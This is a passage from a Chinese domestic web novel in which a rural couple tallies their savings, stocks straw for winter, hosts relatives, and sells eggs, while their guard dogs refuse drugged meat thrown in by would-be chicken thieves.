见它脚步轻,顾兰时没忍住笑了,够鸡贼的,自己独自进来,一点不想让灰灰和灰仔知道。 也是,平时笼了火盆,三只狗为抢位子,经常要吵架打架,肥屁股你挤我我挤你,恨不得把其他两只全挤得远远的。 能听见外头,灰灰和灰仔跑来跑去的动静,顾兰时没哟戳穿大黑,因冷风从门外灌进来,他起身过去把房门关好。 大黑很少进屋子,每次进来都很安静,趴在那里不怎么动弹。 顾兰时见没有燎着它毛的隐患,又低头做针线,一人一狗互不打搅。 等裴厌卖了蛇回来,天上云层更厚,天色都变得灰暗,夜里下雪的征兆更明显了。 在后院栓毛驴的时候,裴厌顺便看了一下牲口棚。 除了棚顶以外,棚子两边和前面都用稻草围了,只留下一个较窄的进出口,里头虽然黑一点,但不漏风不进水,还铺了很多干草,能让毛驴安安稳稳过冬。 猪圈上方也有用木头和稻草搭起来的顶棚,覆盖了猪圈的一大半,猪窝里头同样给猪塞了一堆干草,能躺也能吃。 见没有隐患,他回到前院,顾兰时已经把洗手的热水掺好了。 裴厌蹲下洗手,抬头笑道:“整十一两。” 自己算是自己算,钱到了手里才是真的,顾兰时眼睛亮晶晶,又有十两银子进账,别说明年,后年都不愁了。 裴厌手还是湿的,见他这么高兴,站起身示意他拿荷包。 顾兰时掏出荷包,先打开看一眼,这回里头都是碎银子。 即便是镇上的药铺,平时结账往来也少有大银锭,散碎银子用的最多。 这对他俩来说也挺好,毕竟只是小本生意,平时也不怎么做大宗的买卖,太大的银两一个不方便带,另一个也不方便找零兑换。 过小日子,还是碎银最实用。 听到西屋里母鸡咕咕咕叫,顾兰时把荷包勒好,揣进怀里笑眯眯说:“我去看看,是不是下蛋了。” 因鸡蛋瓮就在堂屋,他什么都没拿,直接进去,在炕上的稻草里翻找摸索,捡到了三个鸡蛋。 即便没下雪,除了夜里,白天有时候也会烧西屋炕,屋子里始终暖暖和和的,母鸡下蛋才勤。 出来后关好西屋门,顾兰时把鸡蛋放进铺了谷糠的瓮里,盖好压翁的石板,确定没有缝隙,老鼠跑不进去才放心。 见裴厌在东屋伸手烤火,这次灰灰和灰仔也进去了,蹲坐在火盆前不知嘟囔什么,喉咙里都呜呜呜的。 顾兰时看见墙角的土堆,过去从里面扒拉出四个野薯,拍拍野薯上的土,随后两手抱进屋里。 裴厌用一根木柴把盆里的火拨开,等他把野薯都放进去后,又把火和灰拨回去,覆盖在野薯上。 “下午吃什么?上次买的好酒还没开封呢。”顾兰时坐下后问道。 裴厌想了一下说:“肉还有吗?骨头是不是还没吃完?” 顾兰时满眼都是溢出来的笑,说:“都有呢,等会儿我去把骨头炖了,正好下酒,再炒一碟鸡蛋,对了,吃花生米吗?吃的话再炒碗花生米。” “变天了,反正没什么事,喝点酒暖和暖和。” “好。”裴厌点头,见顾兰时也伸手出来烤火,他情不自禁,捉住了夫郎一只手。 比他小的手纤细却不柔弱,一摸手掌,就知道常年干粗活,有明显的茧子。 天冷以后,又洗衣服又做饭的,尽量用了热水,但冷风一吹,哪能一直都是热的,不免变得粗糙起来,甚至有点皲裂。 去年还没这样。 裴厌眉头皱起,用指腹轻轻摩挲了一下顾兰时手指指背,说:“干不干?” 不等顾兰时说话,他又道:“下次再去镇上,买点擦手的脂膏,胭脂铺子就有卖的,擦了比猪油更好,既不滑腻,还更滋润。” 有时苗秋莲会带着妯娌儿媳过来串门子聊天,他在旁边添茶倒水,也听了一耳朵女人和夫郎的事。 顾兰时原本想说不用,要是太干或者裂口子了,抹点猪油润润就好,以前都这样过来的,但见裴厌一副郑重的模样,他弯了弯眉眼:“好。” 180-200 第181章 外头风大了,裴厌把外头的泥炉连同陶罐提进来,屋里火盆燃着,炕虽然没去烧,因闷了木炭,此时还留有一些余温,隔绝了寒冬冷意。 布手套说简单也没那么简单,戴着是要干活,手指若包在一起没有那么灵活,因此得把手指头分开套上去。 正好裴厌在家,顾兰时把剪好的布条一对折,在裴厌手指上比对,看看长短和手指粗细,干惯了这些活,比划一下心里大概就有了数,于是穿了针线开始缝。 裴厌用木柴拨拉了一下火盆,又给里面添两根柴,火苗聚在一起烧得挺旺,渐渐连人脸颊也烤的有些干热。 他端来两人茶碗,放在一张高凳上,都给续了热茶,自己先喝两口,放下后说:“稻草和麦草今年费得多,猪、毛驴吃一些,窝里还要铺一堆,再加上鸡窝鸭舍里塞的,隔段时间还要换一次,西屋倒还好,只给炕上铺一层,但换得勤,同样消耗快,得买一些回来。” 顾兰时停下手里的针,转头看他,说道:“我昨天去抽麦秸也发现了,比去年用得快,买的话,不如先在村里问问。” 他想了一下,开口:“家里麦草堆稻草堆垒的比咱们高,还好几堆,年年都能用到麦子打下来那时候,这样,改天回去问问,看爹卖不卖。” 顾铁山种了十亩地,每年五月有新麦秸,九月底十月有稻杆,晒干后一层层垒起来,软柴是不愁的。 不像他俩,拢共才四亩地,一年能攒下的软柴也就那么些,常常要去山上揽干树叶什么的。 至于家里晒的那些干草,一大半都是毛驴和猪的口粮,还要留出来一些,铡碎了给家里的六十来只鸡鸭拌着吃,不能全当柴火烧了。 不止过冬,柴火是家家每天要用到的东西,大伙儿都是宁多不少,心里才踏实。 裴厌思索一下,说:“不行的话,一家少买些,多买几家就行了。” “这样也好。”顾兰时点点头,见茶水倒好了,端起喝了几口。 稻草麦草真算起来,确实不是那么值钱的东西,但要是量大的话,也得花点钱。 照今年家里用的,后头再进了腊月,三九四九隆冬寒天,想让西屋的母鸡下蛋,烧炕可不得白天夜里都供上,人要想暖暖和和的,无论软柴硬柴都得囤积,一二百斤肯定不够,好在如今他俩手头宽裕,多买点总不会错。 风声呼啸,顾兰时听了一耳朵,低头继续干活,开口道:“今年好像比去年冷些,一没太阳就冻得慌,也别说三九那会儿,最近这样的天,不常常把炕烧热,穿的再厚也不顶用,不动一动,腿脚都是冰的。” “冷?”裴厌问道,在炭盆前坐着不动,小腿倒是烤到了,脚只有离炭盆近一些,才能慢慢有点热意。 他不提还好,一提顾兰时还真觉得坐了一会儿不动弹,棉鞋里的脚不大热乎,于是笑着说:“是有点,挪到炕上去算了,大腿和屁股挨着热炕也舒坦。” 裴厌起身说道:“那我再把炕烧一烧。” “行。”顾兰时把针线篮子一起挪到炕上,靠坐在炕头继续干活,炕面虽只有余温,但有软乎乎的炕褥铺着没掀开,自然比地上更舒坦些。 听见外头裴厌取炕洞门的动静,他没有抬头,把一根手指的布套缝好之后,直接掏着翻了个面,这样针脚就藏在里面,他顺手在自己的食指上试了试,大一点宽一点,想来裴厌戴上正合适。 自己做布手套干粗活,用不着多细致,针脚缝的整齐好看一点就行。 把缝好的一根指套放在炕桌上,见荷包也在上面,他没忍住,打开又看一眼,里头有十一两银子。 刚才忙着做针线,把荷包从怀里掏出来后还没放进箱底,他脸上挂着笑容。 裴厌推门进来,一眼就看见他满面笑意的模样,一双星眸也弯了弯,反手把房门关好,说:“又在看钱。” “嗯。”顾兰时沉浸在有钱的喜悦当中,见裴厌把茶碗和茶壶端上炕桌,他把荷包递过去,说:“要不把钱整合一下。” “有一两的零头,是拿出来还是?”裴厌问道。 顾兰时想了一下,说:“拿出来吧,这样钱数是整的,好记。” 裴厌照着他的话拿了两块碎银出来,先是在手里掂了掂,想起买的戥子,回来还没用过,于是放下碎银,下炕去拿戥子。 顾兰时也兴冲冲凑过脑袋看他称银子,说:“还是有戥子好,不用咱俩胡乱估摸了。” 把一两碎银称出来后,剩下的钱就是整十两了。 去年攒下了二十两,上次卖蛇凑够了二十两,再加上今天的十两,拢共是五十两银子。 针线活被抛到脑后,顾兰时兴致很高,干脆和裴厌把所有钱都拿了出来。 他俩先把装了四十两碎银的大钱袋打开,挪开炕桌,直接倒在炕褥上。 四十两白花花的银子,再把刚才的十两倒进去,一堆摆在眼前,着实叫顾兰时看花了眼,心里美滋滋的。 “这就是五十两。”他语气仿佛做梦一样,带着克制不住的笑意。 整块的银锭有好几个,没有被铰过,圆润可爱,看得人心喜不已。 裴厌同样很高兴,跟他一起笑弯了眼睛。 直到看够以后,两人才一个撑口袋,另一个双手抓着,把银块放进钱袋里。 裴厌把袋口扎好,一袋沉甸甸的,他掂了两下,见顾兰时眼巴巴瞅着,于是递过去。 “可真沉呐。”顾兰时掂了两下感慨道。 见裴厌把其他袋子里的钱倒出来,他才把手里这个放到旁边。 反正没别的事,裴厌把箱子打开,从里头掏出两个钱袋,是上回拨出来的钱,一个装了三两,另一个装了一两,既然有戥子了,称一称也放心。 裴厌先称了三两的,看一眼准星,说:“对着。” 他说着,也把戥子杆让顾兰时瞅一眼。 织布机子的钱和明年盖屋子的钱已经都拨了出来,这两个小袋子没动,而剩下的,则多是卖蛋和卖猪得来的。 顾兰时想一下,说:“花大钱的地方再没有了,那,剩下这些……” 裴厌抬头,一边思索一边说:“今年过年不用买肉,但年礼酒水要买,得预留一些,还有年节时别的吃用,糖瓜胶牙饧,对联灯笼,待客也要有鸡鸭鱼,咱们自己的鸡鸭不想杀,就得买几只回来。” “豆子也得买,五豆和腊八都要用,家里只有柴豆花生还有一点红豆。”顾兰时又道:“一进腊月,就慢慢要备年节时的东西,吃吃喝喝这些小零碎,没有也不行。” “糕点酥点,蜜饯果脯,来客也得备上。”裴厌补充道。 他慢慢开口:“三个舅舅一个姨母,岳丈那边自不用说,酒水都得买上,再就是村里三个伯父。” 他俩是小辈,别人不提,这些亲戚长辈过年时肯定要走动的,过年着实要花上一笔。 顾兰时琢磨了一下,说道:“三两银子,应该足够了,咱们自己杀一头猪,卖不卖都无所谓,一吊子肉也能做年礼。” “嗯,带酒肉也好,比别的东西强点。”裴厌点点头。 乡下人平时吃肉不多,可不就指着过年过节时能多吃点,能提一吊肉走亲戚,已经是很好的年礼了,亲戚不但能自己吃,有人还会直接用来待客做菜,让席面更丰盛些。 裴厌又拿起戥子,称好三两银子以后,用一个小钱袋装起来,这是用来过年的钱。 “刚好是卖猪钱,两头猪没了。”顾兰时笑着说。 已经卖了两头猪,一共是四两,买镯子花去一两。 “过年不一定能花完。”裴厌笑了下,把剩下所有碎银用手拢了拢,堆在一起。 “我称称。”顾兰时兴致不减,从他手里接过戥子。 剩下的碎银一共有五两二钱。 其中一两八钱是天冷后卖高价蛋挣到的,余下二两四钱,则是这一年中断断续续积攒下的碎银子,最后一两,则是刚才从十一两里取出来的。 “散的铜子儿先不数,我装起来,改天去买豆腐还有豆皮回来吃。”顾兰时把铜钱袋子打开。 整串的钱更好数,一共十三串。 平时卖菜卖鸡蛋,赚到的基本都是铜板,虽然挣不到什么大钱,但平时做饭炒菜用的油盐酱醋豆腐肉,都是靠卖菜买回来的。 他俩年轻,舍得犒劳自己,像什么糕点蜜饯,常常往镇上跑,买起来方便,因此家里经常都有,偶尔还会去镇上赶集吃饭。 比起村里其他人的节俭,他俩小日子过得是真挺不错。 边挣边花,边花边挣,他俩只有四亩地,打了粮要交官府一部分,余下的还要保证够他俩一年吃用,因此这两年种地从没有卖过粮食。 虽然卖了新米可以用更便宜的价格买陈粮,手里就能攒下一些钱,但裴厌不愿这样做,顾兰时跟着他已经够苦了,再没有新米新面吃,岂不是他的过错。 顾兰时慢慢算账,说:“十三串,也就是一两三钱,再加上碎银子,拢共是六两五钱。” 他俩田地少,裴厌又不出去做工,只在家里侍弄菜地养猪养鸡,到年底有这么多,已经不错了。 “对了,还有三头猪呢,卖了之后能到手六两,也算进去。”顾兰时笑眯眯的,又道:“咱俩能吃能花,还能存下十二两五钱,好厉害。” “是厉害。”裴厌忍不住笑了,顺着他的话一起自卖自夸。 第182章 把所有钱收好,箱子锁上,两人又坐回炕桌前。 裴厌喝一口茶水,觉得凉了,提起壶摸了摸,见茶壶也有点凉,就下去从陶罐里舀热水,说:“这么一算,年底到手的钱,大头还是在猪身上。” “明年也照这样养,除了老母猪以外,再留六只猪仔,刚好三个猪圈,再多就不行了,一个猪圈最多两头大猪。” “行。”顾兰时重重点了一下脑袋,今年打草种菜干各种活确实累,但能挣钱就是最好的。 裴厌给他碗里换了热茶,看一眼窗外天色,说:“不知道夜里下不下雪,这样,我现在去岳丈家问问,要是有多的稻草,先拉一车回来,一旦下雪,后头也不知多少天路才好走。” “那我和你一起,家里不够的话,在问问其他人。”顾兰时一听有道理,就下炕穿鞋,听风声大,顺便把帽子和围脖子都戴上了。 风大,多数人都在家,见院门关着,顾兰时喊了两声,狗儿很快过来开了门,一听是稻草麦草不多了,顾铁山想也没想就点了头,两车麦草还是能给的。 顾家有板车,顾兰时和裴厌就没回去取,直接用家里的。 狗儿和裴厌拿了木叉往车上装麦草,他俩身强力壮,都不用其他人帮忙,顾兰时想了下,拉上他娘去隔壁周平家问了问。 周平家麦草也有余的,一听是花钱买,就说能给一车,差不多六七十斤左右。 苗秋莲见他俩是想趁着没下雪,尽早把麦草和稻草拉回家,她和村里人来往比顾兰时频繁多了,就帮着儿子多跑了两家去问。 太阳被遮挡在厚厚的云层外面,光线暗淡,裴厌和帮忙的狗儿一点都不冷,装车拉车,一共往后山拉了六板车,因每家能给出的麦草稻草数量不一样,大概有四百来斤,花了两百多文。 运回来后干草全部倒在了谷场上,顾兰时和裴厌用木叉一层层垒好,干草堆渐渐成型,垒起来后,两人心里越发踏实。 钱花就花了,只要牲口家禽不受冻能吃饱,怎么都是值得的。 * 热腾腾的饭菜端上炕桌,碗筷摆好,外面天已经黑了,今天饭做的有点迟。 烛台灯火微晃,裴厌又拿出两根蜡烛点上,屋里更亮了点。 酒坛打开,酒香味道四溢,顾兰时倒了两碗酒,他自己一般只吃半碗,再多喝不了。 他把酒坛放在裴厌那边,笑着说:“先吃肉。” 汤盆里盛着肉汤和剁短的排骨,他还顺便在肉汤里煮了菘菜叶子,菜肉都有了,正冒着热气散发香味,桌上还有一盘炒鸡蛋一盘炒花生米。 地上火盆还在烧,一个四条腿的木架支起来,刚好把火盆圈在里面。 木架上放了一块木板,火苗离木板还有一截,不会烧到,但足以给木板上的一盘馒头还有烤野薯保温。 夹起一块排骨,顾兰时先尝一口,肉已经炖烂了,几乎一抿就能和骨头分离。 裴厌边吃边喝酒,一碗酒很快就见了底,他拎起酒坛又给自己倒上,酒香清冽,比平时喝的浊酒好了不止一星半点,这是在镇上买的好酒。 “嘶——” 顾兰时放下酒碗,辣是辣点,不过确实挺香。 “过年时再买两坛,待客用。”裴厌笑着开口。 “嗯。”顾兰时点头,过年来他俩这儿的,全都是自家人,自然不能吝啬。 “鸡蛋大概有多少?”裴厌喝一口酒问道。 顾兰时想了下,说:“五六十差不多,也没细数。” 他夹一筷子鸡蛋,刚才炒的时候没尝咸淡,一吃正好,心里对自己的手艺十分认可。 裴厌伸长胳膊,取了两个糙馒头,顺手分给他一个,说:“这回雪要是下的久,我明天或后天去一趟镇上,把鸡蛋卖了,再捎带二三十咸鸭蛋。” 刚才做饭的时候,已经开始飘雪花了。 “成。”顾兰时咬了一口馒头,含含糊糊答应,又夹一筷子菘菜吃。 想起他一直惦记卖猪钱,裴厌唇角微弯,烛火映在星眸里,亮而温暖,等这场雪过后,再去卖两头猪。 他在心里盘算,却没有提起,钱还没到手里呢,况且这会儿顾兰时正忙着吃饭,一口肉一口鸡蛋,吃得正香,还是不要搅扰。 雪花越来越大,逐渐覆盖地面屋顶,黑暗安静中,只有东屋窗子有一点光亮。 吃了肉汤泡馒头的狗已经进狗窝睡下,但警惕不曾放松,若此时外面来人,一定会立即察觉,这是它们的天性。 * 清晨,小河村裹上一层银白,到处都是落雪,早起本来就冷,一下雪,不少汉子都在热炕上不愿起来,妇人和夫郎要做饭扫洒,自然起得早一点。 徐家。 徐瑞儿蹲在院里,用一片木板子铲地上没踩过的雪,放在木盆和木桶里,这样就不用去河边打水了。 他家没有井,一下雪路不好走,河水本来就结冰,有时候还得搬石头砸开,才能拎水。 他人小力气也小点,每回只能提一桶水,如果不小心湿了鞋子,要冰凉难受好几天,把雪提进屋里,他烤火的时候雪就会融成水,同样能用。 昨天下午的时候,他才听人说,林楞娃被他爹给揍了一顿,虽不清楚内情,但林家四邻都看见了裴厌,自然有一些猜测,都说是林楞娃惹了裴厌,人家找上门去了,林金根害怕,就先动了手,不然林楞娃那个小体格,都不够活阎王一顿揍的,自己下手不过是皮外伤,养养就好了。 徐瑞儿却知道,不是林楞娃惹了裴厌,他不知道兰时哥哥怎么跟裴厌说的,但大概明白,以后林楞娃几个不会欺负他了。 说起来,那三个人里就数林楞娃和林驴儿最坏,这两个都遭了殃,他心里没有多高兴,就是觉得安稳了,不再担心出门会挨打。 他铲着雪心想,下次哥哥回来,得告诉他这件事。 * 日子过得很快,眨眼间冬月过去了大半,天太冷,地上积雪未消,人多车多的地方,不免有些泥泞。 顾兰时洗了手,坐在炕沿脱掉鞋子,随后上了热炕。 他搓了搓手,想起上回裴厌买回来的脂膏,于是从匣子里拿出来。 脂膏圆盒不大,正好能放在他掌心,打开后有一股淡淡的香味弥漫出来,他用指腹挖出来一些,搓抹在手背上。 用了这些天,手上细小的干裂口已经愈合,变得光滑起来,皮肤润而不燥,确实是好东西,就是有点贵,这一盒要八十文呢。 买回来的时候他问过裴厌,有没有更便宜的,裴厌说有,五十文一盒,盒子也比这个大,但闻着没有这个香味细腻,就挑了这个。 至于更贵的,裴厌倒是动过心,可一想,才攒下多少钱,八十文的先让顾兰时试试,要是不好,下回再换贵一点的。 抹完后,顾兰时盖上盖子,正打算放回木匣,裴厌从外面进来了。 看见脂膏盒子,他问道:“抹了?” “抹了。”顾兰时笑着说。 裴厌上前,抓起夫郎一只手仔细看,又摸了摸,见果然擦过香膏,就不再说什么。 刚买回家那几天,见顾兰时觉得贵,舍不得用,擦也只擦一点,他无法,只得每次洗完手后,在旁边盯着,让顾兰时多抹点,这才掰过来。 “再摸,香膏就全到你手上了。”顾兰时叹口气,半是玩笑地说道。 也不知何时养出来的习惯,没事了就摸摸他手,有时摸个没完,也不知在想什么,谁没有五根手指头,有什么好玩的。 裴厌笑一下,松开手不再腻歪了,也脱鞋上了炕。 外头冷,该干的活已经干完,回屋暖和暖和。 顾兰时不是很想做针线,给背后靠了个长枕,说:“明天早上,把小衣和里衣都换了。” “知道了。”裴厌把一碟梅花酥一碟赤豆糕挪到炕桌上,抬头问道:“换好茶叶尝尝?” “成。”顾兰时答应得很干脆,买了两种茶叶,他俩到如今只吃过一种。 乡下人吃茶没太多讲究,用茶壶一冲泡,倒进茶碗里就能喝。 比起他俩自己炒的山上野茶,这一味清茶淡却香,于是就着茶水吃糕点,自在又闲适。 没一会儿,外头狗叫声响起,有人来了。 “兰时!” “二姐姐。” 顾兰时原本见裴厌下炕,自己就懒得去了,能过来串门子的,不是他娘就是阿奶,成天见呢,不用特地迎出去,结果却响起顾兰秀的嗓门,他立马穿上鞋往外走。 顾兰秀不但自己来,还抱着小牛儿。 看见胖乎乎的外甥,顾兰时笑意盈盈,伸手就去接,小牛儿很给面子,乖乖让他抱着,不哭也不闹。 第183章 顾兰时抱着小外甥,小牛儿沉甸甸的,穿得又厚,跟个肉墩子似的,带着虎头帽,小脸儿红扑扑,他爱不释手。 见小牛儿看他,小孩子的黑眼睛大而亮,他瞧得心喜,凑过去在外甥肉脸蛋上亲一口,只觉下嘴软乎乎的,乐得小牛儿咯咯咯直笑。 “二姐姐,什么时候来的?”顾兰时抱着小牛儿往前走,又对裴厌说:“把瓜子什么的都拿出来。” “嗯。”裴厌点点头,先快步往屋里去。 不用抱胖儿子了,顾兰秀胳膊一轻,笑着说道:“今儿在家闲着没事,见天挺好,正好你姐夫在家也没啥事做,就让他套车,回来转转。” 她看着儿子,哄道:“这是小嬷,叫小嬷。” 小牛儿快两岁了,已经会走,只是路上泥多,她才抱着,平时都让儿子自己跑,如今也能说不少话了。 “小嬷。”小牛儿很乖,就是口齿有点不清,他伸出短而胖的胳膊搂住顾兰时脖子,一副乖巧的模样。 “哎!”顾兰时高兴得很,连声夸道:“我们小牛儿可真聪明,咋这么厉害呢,都会叫小嬷了,可真乖。” “臭小子,都会卖乖了。”顾兰秀在旁边笑骂道,自己儿子自己知道,小牛儿一岁的时候,就爱让年轻的抱他,尤其好看的,也不知随了谁。 姐弟俩说着闲话边进了屋,炕桌上,裴厌已经摆了好几碟东西,瓜子花生都有,梅花酥和赤豆糕也在,还有一碟海棠果脯,拢共五六样东西。 看见茶壶,顾兰时站在炕边先把小牛儿放在炕上,给脱了小鞋子。 小牛儿腿脚很快,一下子就爬进炕里,他翻身坐好以后,一抬头和裴厌对上视线,一双乌溜溜的眼睛睁大,似乎很好奇。 裴厌刚挨着炕沿坐下,没有脱鞋上去,见小外甥看他,目光微顿,一时不知如何是好,看见桌上有果脯,于是拿了一个,伸手递过去。 小牛儿看见他手里的果子,知道是好吃的,但因为是生人,没有立即拿。 顾兰时让二姐姐坐进炕里,随后自己也上去,挨着顾兰秀坐下,说起姨妈家二表哥的囧事,两人乐不可支。 笑完一抬头,就看见对面一大一小互相对视僵持的场景,顾兰时没忍住又笑了。 顾兰秀一看儿子想拿又不敢拿,小手还往背后藏,笑道:“哎呦,这是小叔,快叫小叔,给你好吃的呢,拿着,怕什么。” 小牛儿手很快,一听他娘让拿,像是有了底气,一下子就把裴厌掌心里的东西抓进自己手里。 “还没叫小叔呢。”顾兰秀提醒道。 小牛儿先把果脯塞进嘴里,甜津津的,他脸颊鼓鼓,听到他娘的话,又盯着裴厌看一会儿,铆足劲喊道:“小叔!” “哎呦。”顾兰秀被儿子逗笑。 “可真厉害,都会喊小叔了,喊得这么亲。”顾兰时在旁边不停夸,怎么看外甥怎么心喜。 小牛儿被夸,小脑袋都仰起来,砸吧着嘴里的果脯,高兴极了。 裴厌露出个笑,没有多说什么,他不擅长带孩子,更不知道怎么哄孩子玩,刚想挪开视线,小牛儿就挪着肥屁股往他身边蹭。 一大一小再次对视,小牛儿因嘴里含着果脯,口水流出来些,裴厌一顿,拿出手帕给他擦擦。 “上回在镇上买的好茶,尝尝,刚拿出来泡的。”顾兰时殷勤招待道,抬眼看见对面裴厌在给外甥擦口水,他笑一下,这样也挺好。 顾兰秀见有人帮忙看孩子,巴不得自己轻松些呢,她也没管,尝一口好茶,果然和平时吃的粗茶不一样,姐弟两个一边喝茶一边吃点心,聊着各种闲话说笑。 没一会儿,等他俩再注意到炕桌对面的两人时,小牛儿已经坐在裴厌怀里了,裴厌正给他剥花生豆和瓜子。 能吃成小胖墩,小牛儿胃口一直很好,有人给剥吃的,他不哭不闹,靠在裴厌怀里那叫一个乖。 “在家也这么乖我就谢天谢地了。”顾兰秀轻叹一声,不过儿子也挺给面子的,没在娘家乱哭乱闹,吵的人人心烦,这么一想,她又感到十分欣慰。 “别喂多了,一会儿要吃饭呢。”顾兰时叮嘱道。 “嗯,我知道了。”裴厌答应一声,修长有力的手指捏开一个花生,刚把里面的两粒花生豆拿出来,一只小手就伸来了。 裴厌看看桌上剥开的花生壳瓜子壳,心里有了数,剥花生瓜子的速度慢下来,也不再让小牛儿一次吃两粒。 说笑一阵子,外头狗叫声再次响起,听到顾兰瑜和唐睿文的声音,裴厌把小牛儿抱起,放回炕里,出去将人迎进来。 竹哥儿也跟来了,顺势就进了屋子。 裴厌三人在堂屋坐下说话,于是顾兰时把糕点花生什么的,重新拿了碟子分装,给端了出去,又拿一个茶壶冲了好茶叶,叫弟弟和二姐夫都尝尝。 家里热热闹闹的,连冬日寒冷都驱散了一些。 到晌午饭时,花惜霜跟着婆婆做好饭,上后山来喊人,顾兰时没有客气,跟裴厌一起回家去吃,自己儿子和姑爷,苗秋莲和顾铁山自是高兴。 * 太阳升起落下,日日轮转,不知不觉又是小半月过去,已然进入腊月。 这中间又下了一场雪,正逢三九寒天,积雪难融,山上白雪皑皑,层层银装覆盖,除了前山,更深的地方变得危险,少有人会冒险进山。 堂屋,顾兰时和裴厌正在装鸡蛋,两个大竹筐装满以后,蛋瓮里剩下的鸡蛋不多了。 “一百五十二个。”裴厌说道,大竹筐一个能放七十六枚鸡蛋,他俩早摸熟了,算都不用算。 顾兰时点点头:“够了,余下这些留着,咱们还要吃呢,娘和阿奶手里估计也不剩多少鸡蛋了,再给她俩分点儿。” 至于旁边木箱里的咸鸭蛋,剩的不多了,他俩没有动,这回就不捎带着卖了,留着自家吃。 深秋那会儿腌了大约两百个鸭蛋,他俩一边吃一边卖,已经卖出去一百五十枚左右,天冷,这东西一个八文九文,算是小赚了一笔。 家里只有两个人,平时还是以吃各种菜为主,咸鸭蛋一般配着早食吃,和咸菜酸菜轮换着,不然早上只啃馒头有点没滋味,当然,早食要是热包子吃,就轮不上这些腌东西了。 顾兰时进屋拿钥匙跟荷包,顺便戴好帽子围脖子,出来后裴厌把蛋筐放上了车,已经牵毛驴往外走了。 他跟在后面锁院门,到大门口后又把篱笆门锁上。 有大黑三个看家,还是很放心的,路上有雪不太好走,不过车上只拉两筐鸡蛋,没什么重物,遇到大坡小坡、崎岖坎坷对毛驴来说不成问题。 篱笆门后,灰仔耷拉着尾巴走两圈,竖起耳朵听外面动静,见人没有回来的迹象,它呜呜叫一声,转身往回走。 太阳挂在天上,今天日头还算不错。 大黑趴在干处晒太阳,脑袋搁在前爪上,眼睛闭上假寐。 对它们来说,日子和之前没什么不同,晒晒太阳撒撒欢,等顾兰时和裴厌回来就好。 天高旷远,偶尔有冷风吹来,带着山雪寒意。 灰灰和灰仔打了一会儿架,分开后都觉得没意思,于是各自找了地方趴下。 不知过了多久,忽然,大黑抬起脑袋,警惕地看向西边篱笆墙。 “汪——!” 灰灰呲牙十分凶狠,灰仔也跟着叫起来。 篱笆墙缝隙明显有人影闪动,三只大狗全都跑过去,冲着外头狂吠。 突然,一个东西被从外面扔进来,掉在地上滚了几圈才停下。 是一根还带了点肉的骨头。 灰仔离骨头最近,它鼻子不断耸,显然闻到了肉味骨头味,于是低头用鼻尖去蹭那根骨头。 “呜——” 大黑过来,对着灰仔露出尖牙,喉咙里发出低吼,威胁性十足。 因它是头狗,灰仔尾巴夹住,不敢再动那根骨头,朝后退了两步。 听到外头脚步声没有远离,于是它又冲着外头叫两声。 灰灰恪尽职守,对流连在外面的人很警惕,没有顾上那根骨头,一直竖着耳朵听动静,时不时吠两声,想把生人赶走。 大黑一直没有出声,它低头不断在骨头上闻,末了抬起头,眼中凶光毕露,却依然没有吠叫。 “没吃?”一个穿着破烂的汉子压低声音开口。 他旁边另一个邋遢瘦汉子听着里面的狗叫声,脸色有点难看,低声咒骂道:“他娘的,骨头上还有肉,这都不吃,老子都舍不得啃。” 他骂骂咧咧,又从怀里掏出一块东西,破布里,是不知从哪里弄来的一疙瘩肉,还没小孩拳头大。 破烂衣裳的汉子看见后,直咽口水,一脸肉疼的说:“真要给?” “三只狗,一根骨头哪里够。”瘦汉子同样心在滴血,这可是他好不容易偷来的。 想一想那么多母鸡,药倒了狗,就能多抓几只,不但可以杀了吃肉,还能卖了赚几十文。 这么说服自己,他忍痛用手扣了两小块下来,和同伴一起,给肉上抹了药粉面。 刚往篱笆墙那边走两步,狗叫声越发大了,两人立马把手里的东西往里面扔,随后退远几步,等着里头消停。 后山虽偏僻,但要是狗叫声传到村子那边被听见,来了人可不好。 两人搓手哈气,贼头贼脑躲在树后等了一会儿,穿着破衣服的汉子看一眼瘦汉子,刚才那一块肉没用完,又揣回衣服里了,这一块肉,煮了炒了可都是好东西。 瘦汉子不时张望村子那边方向,生怕有人过来。 直到篱笆墙里的狗叫声停了,两人欣喜若狂,眼里迸发出光彩,一个比一个激动。 对视一眼后,他俩先试探着往篱笆墙走,这下彻底没了叫声,于是叫快了脚步。 瘦汉子手脚麻利又轻,他踩着另一个汉子的肩膀,扒着篱笆墙想要翻过去。 两人常常混在一起干这些偷鸡摸狗的事,一个在里面偷,另一个在外面放风并接应,对这样的活路熟悉无比。 瘦汉子两手撑在篱笆墙上,露出脑袋先朝里面张望,院门锁着,确实没人在家。 一看这么大的地界,还有些菘菜没挖出来,埋在雪里。 三只大狗他曾远远见过,这会子一心认为已经药死了,根本没想别的。 他转头再看向鸡圈那边,因鸡圈就搭在院子西边,他俩前几天跑到山上高高瞅了一眼,看见母鸡在圈里溜达,但没来得及多看两眼,裴厌从屋子里出来,他俩一点不敢多待,赶紧就跑了。 盖房建院的人当时选了这处山崖凹进去的宽敞地方,院子离山壁有一段距离,但爬上去站在高处,是能看见下方的。 瘦汉子张望一眼,随即双手一撑,上半身刚探出来,眼角余光瞥到下方黑影猛地朝他扑来,吓得脚下乱蹬,直接摔倒在墙外。 “你他娘的!” 衣着破烂的汉子被踹了两脚,直接骂道,正要问怎么脚滑了,隔着一堵篱笆墙,里头狗叫声再次响起,甚至能从缝隙里看到人立而起的大狗黑影,几乎和人一样高,吓得他拔腿就跑。 裴厌养的疯狗名声在外,更何况他俩刚才一致认为狗已经死了,没想到还活着。 瘦汉子惊出一身冷汗,连滚带爬远离了这里。 该死的!他刚才分明看见,那三只大狗跟成了精一样,贴着篱笆墙躲在下方,直到他要翻进去,突然就跳起来咬,尤其那条黑狗,眼里的凶光和狡诈,比人还他娘的精! 第184章 外面的人跑远之后,大黑三个还不断在西边篱笆墙这边巡视警惕,耳朵高高竖起。 至于地上的骨头和肉块,三只大狗都没有去吃,在被大黑咬了一口教训过以后,灰灰和灰仔看都不看了。 * 宁水镇。 太阳挺好的,风不是很大,顾兰时跟在板车旁边走,扯下蒙住口鼻的围脖子。 “鸡蛋——新鲜鸡蛋——” 裴厌牵着毛驴在前面走,顺势吆喝起来。 都腊月了,秋天那会儿母鸡下的蛋该吃已经吃完,除非囤了很多的大户人家还有余,因此这会儿卖鸡蛋,还是挺新鲜的,不少人都看过来。 “鸡蛋怎么卖的?”有个妇人领了孩子在街边闲转,她没有上前,只是凑热闹一样问了句。 “阿姊,八文一个。”顾兰时笑着开口。 “八文。”妇人咂咂舌,不再言语了,瞅着他俩眼里露出一些探究和好奇,一看就是乡下来的,也不知是囤的还是真真下的新鲜蛋。 